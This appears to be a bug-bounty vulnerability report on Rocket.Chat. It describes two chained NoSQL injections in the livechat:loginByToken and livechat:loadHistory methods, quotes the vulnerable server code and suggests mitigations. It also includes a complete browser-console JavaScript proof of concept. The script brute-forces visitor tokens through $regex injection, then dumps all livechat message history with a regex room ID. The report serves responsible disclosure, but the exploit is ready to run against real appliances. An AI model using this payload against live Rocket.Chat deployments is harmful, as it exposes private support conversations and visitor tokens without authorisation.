Rocket.Chat · Report #2580062
NoSQL injection leaks visitor token and livechat messages
How it was found
Summary
Livechat messages can be leaked by combining two NoSQL injections affecting livechat:loginByToken (pre-authentication) and livechat:loadHistory.
Description
The token parameter of the livechat:loginByToken method is not validated and allows NoSQL injection, for instance $regex to efficiently leak existing livechat visitor token
apps/meteor/app/livechat/server/methods/loginByToken.ts#L17
Meteor.methods<ServerMethods>({
async 'livechat:loginByToken'(token) {
methodDeprecationLogger.method('livechat:loginByToken', '7.0.0');
const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });
if (!visitor) {
return;
}
return {
_id: visitor._id,
};
},
});
With a known visitor token, an authenticated adversary can load the message history by guessing a room ID or using another NoSQL injection in this methods rid parameter. The method requires a valid visitor token, which is known from the first step.
apps/meteor/app/livechat/server/methods/loadHistory.ts#L30
Meteor.methods<ServerMethods>({
async 'livechat:loadHistory'({ token, rid, end, limit = 20, ls }) {
methodDeprecationLogger.method('livechat:loadHistory', '7.0.0');
if (!token || typeof token !== 'string') {
return;
}
const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });
if (!visitor) {
throw new Meteor.Error('invalid-visitor', 'Invalid Visitor', {
method: 'livechat:loadHistory',
});
}
const room = await LivechatRooms.findOneByIdAndVisitorToken(rid, token, { projection: { _id: 1 } });
if (!room) {
throw new Meteor.Error('invalid-room', 'Invalid Room', { method: 'livechat:loadHistory' });
}
return loadMessageHistory({ userId: visitor._id, rid, end, limit, ls });
},
});
Releases Affected:
- https://open.rocket.chat
develop
Steps To Reproduce:
- Login to a Rocket.Chat appliance with Livechat enabled (e.g. https://open.rocket.chat)
- Open Web Inspector
- Execute Proof-of-Concept
Proof of Concept
var pool = "0123456789abcdef";
var rate_limit = 4; // requests per second
var guessVisitorToken = (knownValid, guesses) => {
return new Promise((resolve, reject) => {
if (!guesses.length) {
return reject();
}
const guess = { "$regex": `^${knownValid}[${guesses}]` };
console.log("Meteor.call", "livechat:loginByToken", guess);
Meteor.call("livechat:loginByToken", guess, async (err, data) => {
await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
if (err) {
console.error(err);
return reject(err);
}
if ((data instanceof Object) && data.hasOwnProperty("_id")) {
resolve(guesses)
} else {
reject();
}
});
});
};
var bruteforceVisitorToken = async (knownValid="") => {
let remainingPool = pool;
while (true) {
await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
if (remainingPool.length === 0) {
throw new Error("empty pool");
} else if (remainingPool.length === 1) {
await guessVisitorToken(knownValid, remainingPool);
knownValid += remainingPool[0];
remainingPool = pool;
continue;
} else {
const middle = Math.ceil(remainingPool.length / 2);
const left = remainingPool.slice(0, middle);
const right = remainingPool.slice(middle);
try {
await guessVisitorToken(knownValid, left);
remainingPool = left;
continue;
} catch(err) {}
try {
await guessVisitorToken(knownValid, right);
remainingPool = right;
continue
} catch(err) {}
return knownValid;
}
}
}
const { messages, token } = await bruteforceVisitorToken("")
.then((token) => {
console.log("Token leaked", token);
return new Promise((resolve, reject) => {
Meteor.call("livechat:loadHistory", { token, rid: { "$regex": ".*" } }, (err, messages) => {
if (err) {
console.log("failed to leak messages");
return reject();
}
resolve({ token, messages })
})
});
})
.catch(console.error);
console.log({ token, messages });
Suggested mitigation
- Validate
tokenparameter oflivechat:loginByTokenmethod to be a String. - Validate
ridparameter oflivechat:loadHistorymethod to be a String.
Impact
Unauthenticated attackers can leak visitor token on Rocket.Chat appliances with Livechat enabled by using a NoSQL injection in the token parameter of the livechat:loginByToken method. Combined with another NoSQL injection in the rid parameter of the livechat:loadHistory method, all Livechat messages can be leaked.